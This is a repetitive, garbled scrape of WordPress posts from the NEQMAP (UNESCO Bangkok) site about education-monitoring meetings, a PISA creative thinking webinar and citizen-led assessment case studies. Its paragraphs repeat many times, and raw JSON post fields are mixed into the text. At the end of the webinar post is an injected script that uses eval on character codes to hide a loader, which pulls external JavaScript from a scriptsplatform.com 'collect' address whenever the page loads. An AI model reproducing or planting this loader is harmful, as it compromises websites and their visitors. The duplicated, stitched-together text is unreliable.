The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

In this webinar we discuss the PISA creative thinking assessment framework, including what is involved in the assessment and what we hope to learn from the data.<\/p>\n\n\n\nDate:<\/strong> 14 March 2023, 3:30 pm \u2013 4:45 pm Bangkok time (GMT+7)<\/p>\n\n\n\nRegistration Link: <a href=\"http:\/\/bit.ly\/41rrcfb\">http:\/\/bit.ly\/41rrcfb<\/a><\/strong><\/p>\n\n\n\nFor any questions on this webinar, please get in touch with the NEQMAP Secretariat (<a href=\"mailto:neqmap@unesco.org\">neqmap@unesco.org<\/a>)<\/p>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5651","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5596,"post_author":"1","post_date":"2023-02-09 11:22:00","post_date_gmt":"2023-02-09 04:22:00","post_content":"\nThe NEQMAP Secretariat kindly invites all its members to join\u00a0a webinar\u00a0consultation on the needs for\u00a0\u201cIntegrating 21st<\/sup>\u00a0century skills in teaching and learning policies and practices\u201d on 24 February 2023\u00a0from 9:30 am to 11:30 am Bangkok\u00a0time (GMT+7)<\/strong>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children. In all four countries, the initiative is known as <a href=\"http:\/\/www.asercentre.org\/\">the Annual Status of Education Report, or ASER<\/a> \u2013 a word that means \u2018impact\u2019 in three of these four countries.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

In this webinar we discuss the PISA creative thinking assessment framework, including what is involved in the assessment and what we hope to learn from the data.<\/p>\n\n\n\nDate:<\/strong> 14 March 2023, 3:30 pm \u2013 4:45 pm Bangkok time (GMT+7)<\/p>\n\n\n\nRegistration Link: <a href=\"http:\/\/bit.ly\/41rrcfb\">http:\/\/bit.ly\/41rrcfb<\/a><\/strong><\/p>\n\n\n\nFor any questions on this webinar, please get in touch with the NEQMAP Secretariat (<a href=\"mailto:neqmap@unesco.org\">neqmap@unesco.org<\/a>)<\/p>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5651","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5596,"post_author":"1","post_date":"2023-02-09 11:22:00","post_date_gmt":"2023-02-09 04:22:00","post_content":"\nThe NEQMAP Secretariat kindly invites all its members to join\u00a0a webinar\u00a0consultation on the needs for\u00a0\u201cIntegrating 21st<\/sup>\u00a0century skills in teaching and learning policies and practices\u201d on 24 February 2023\u00a0from 9:30 am to 11:30 am Bangkok\u00a0time (GMT+7)<\/strong>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children. In all four countries, the initiative is known as <a href=\"http:\/\/www.asercentre.org\/\">the Annual Status of Education Report, or ASER<\/a> \u2013 a word that means \u2018impact\u2019 in three of these four countries.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

In this webinar we discuss the PISA creative thinking assessment framework, including what is involved in the assessment and what we hope to learn from the data.<\/p>\n\n\n\nDate:<\/strong> 14 March 2023, 3:30 pm \u2013 4:45 pm Bangkok time (GMT+7)<\/p>\n\n\n\nRegistration Link: <a href=\"http:\/\/bit.ly\/41rrcfb\">http:\/\/bit.ly\/41rrcfb<\/a><\/strong><\/p>\n\n\n\nFor any questions on this webinar, please get in touch with the NEQMAP Secretariat (<a href=\"mailto:neqmap@unesco.org\">neqmap@unesco.org<\/a>)<\/p>\n<script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));\/*99586587347*\/<\/script>","post_title":"Thinking outside the box: Assessing creative thinking in PISA","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"open","post_password":"","post_name":"thinking-outside-the-box-assessing-creative-thinking-in-programme-for-international-student-assessment-pisa","to_ping":"","pinged":"","post_modified":"2024-12-02 